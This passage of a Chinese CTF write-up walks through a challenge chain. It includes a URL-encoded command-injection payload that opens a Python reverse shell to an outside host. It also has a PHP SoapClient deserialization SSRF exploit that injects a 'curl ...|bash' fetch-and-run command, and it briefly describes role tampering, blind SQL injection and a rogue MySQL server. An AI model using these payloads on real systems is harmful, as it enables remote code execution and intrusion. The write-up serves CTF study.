?cc=`$cc`;python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%223xxxxxxxxxxx%22%2C2333))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D)%3B'

反弹shell

回到题目,可以知道这个题目是在外网的,而写下来的shell是在内网的一台机子上面的

反序列化

这里其实很容易就知道了利用原生类SoapClient类的反序列化SSRF打内网的那台shell。由于环境没了,就在本地模拟一下

exp解析图

1
2
3
4
5
6
7
8
9
<?php
$param = urlencode("`\$cc`;curl http://xxx.xxx.xxx/Mrkaixin.txt|bash");
$path = "http://mrkaixin.com?cc=".$param;
var_dump($path);
$soap = new SoapClient(null,array('location' => $path,'uri'=>$path));
$mr = serialize($soap);
var_dump($mr);
$b = unserialize($mr);
$b->show();

弹回shell

8.3 内网穿透

这个是题目的第三个部分,拿到shell之后,/cat hint发现还有一个java tomcat靶机。shana师傅在比赛结束前五分钟做到了这(通宵了。。。。确实是靶场环境太差了。这个后面的部分没有办法复现了(一直弹不出shell。

9.0 nweb

这道题最后环境没了,没写wp了。大概分为三个步骤

9.1 注册获得高级用户

注册页面按下f12可以看到一个隐藏的type属性,默认值为0,下面有注释写着110,抓取登录的包,修改type=110就可以成为高级用户

9.2 sql bool盲注

就是一个很简单的bool盲注,没有其他的考点

9.3 服务端伪造

还是利用脚本,伪造一个mysql服务端,然后读取文件flag.php,这里设置都不需要设置。

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...